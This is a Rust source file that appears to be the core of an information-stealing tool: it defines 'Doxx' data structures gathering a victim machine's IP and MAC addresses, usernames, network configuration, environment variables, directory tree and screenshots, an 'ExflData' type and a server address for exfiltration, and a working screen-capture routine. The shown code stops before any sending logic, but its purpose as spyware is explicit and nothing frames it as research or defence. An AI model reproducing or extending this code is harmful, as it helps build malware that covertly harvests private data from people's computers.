#[cfg(test)]
mod tests {
#[test]
fn it_works() {
assert_eq!(2 + 2, 4);
}
}
extern crate scrap;
extern crate bincode;
#[macro_use]
extern crate serde_derive;
extern crate serde;
use scrap::{Capturer, Display, Frame};
use std::io::ErrorKind::WouldBlock;
use std::fs::File;
use std::thread;
use std::time::Duration;
pub mod consts {
pub const SERVER_IP: &str = "127.0.0.1";
pub const SERVER_PORT: &str = "80";
pub const SS: bool = true;
pub const DEBUG: bool = false;
pub const TREE: bool = false;
pub const USERNAMES: bool = false;
}
pub mod types {
#[derive(Debug, Serialize, Deserialize)]
pub struct DoxxBuf {
pub doxx: Option<DoxxType>,
pub os: OsType
}
#[derive(Debug, Serialize, Deserialize)]
pub struct WinDoxx {
pub ip_addr: String,
pub users: Vec<String>,
pub mac_addr: String,
pub screen: SS,
pub ipconfig: String,
}
impl WinDoxx {
pub fn new() -> Self {
WinDoxx { ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), ipconfig: "".to_string()}
}
}
#[derive(Debug, Serialize, Deserialize)]
pub struct GnuDoxx {
pub screen: SS,
pub uname: String,
pub ip_addr: String,
pub users: Vec<String>,
pub mac_addr: String,
pub ifconfig: String,
pub tree: String,
pub env: String
}
impl GnuDoxx {
pub fn new() -> Self {
GnuDoxx { uname: "".to_string(), ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), tree: "".to_string(), ifconfig: "".to_string(), env: "".to_string()}
}
}
#[derive(Debug, Serialize, Deserialize)]
pub struct MacDoxx {
pub screen: SS,
pub ip_addr: String,
pub users: Vec<String>,
pub mac_addr: String
}
#[derive(Debug)]
pub struct ExflData {
pub server_ip: String,
pub server_port: String,
pub doxx: Option<DoxxType>
}
#[derive(Debug, Serialize, Deserialize)]
pub struct SS {
pub h: usize,
pub w: usize,
pub data: Vec<u8>
}
impl SS {
pub fn new() -> Self {
SS { h: 0, w: 0, data: vec!(0u8) }
}
}
#[derive(Debug, Serialize, Deserialize)]
pub enum OsType {
Mac,
Windows,
Linux,
Other
}
#[derive(Debug, Serialize, Deserialize)]
pub enum DoxxType{
Mac(MacDoxx),
Windows(WinDoxx),
Linux(GnuDoxx)
}
}
pub mod util {
use super::*;
pub unsafe fn any_as_u8_slice<T: Sized>(p: &T) -> &[u8] {
::std::slice::from_raw_parts(
(p as *const T) as *const u8,
::std::mem::size_of::<T>(),
)
}
pub fn os_detect() -> types::OsType {
let os: types::OsType;
if cfg!(windows) {
os = types::OsType::Windows;
} else if cfg!(unix) {
os = types::OsType::Linux;
} else if cfg!(macos) {
os = types::OsType::Mac;
}
else {
os = types::OsType::Other;
}
return os;
}
pub fn screenshot() -> types::SS {
let one_second = Duration::new(1, 0);
let one_frame = one_second / 60;
let display = Display::primary().expect("Couldn't find primary display.");
let mut capturer = Capturer::new(display).expect("Couldn't begin capture.");
let (w, h) = (capturer.width(), capturer.height());
loop {
let buffer = match capturer.frame() {
Ok(buffer) => buffer,
Err(error) => {
if error.kind() == WouldBlock {
thread::sleep(one_frame);
continue;
} else {
panic!("Error: {}", error);
}
}
};
let mut bitflipped = Vec::with_capacity(w * h * 4);
let stride = buffer.len() / h;
for y in 0..h {
for x in 0..w {
let i = stride * y + 4 * x;
bitflipped.extend_from_slice(&[
buffer[i + 2],
buffer[i + 1],
buffer[i],
255,
]);
}
}
return types::SS {
h: h, w: w, data: bitflipped
}
}
}
}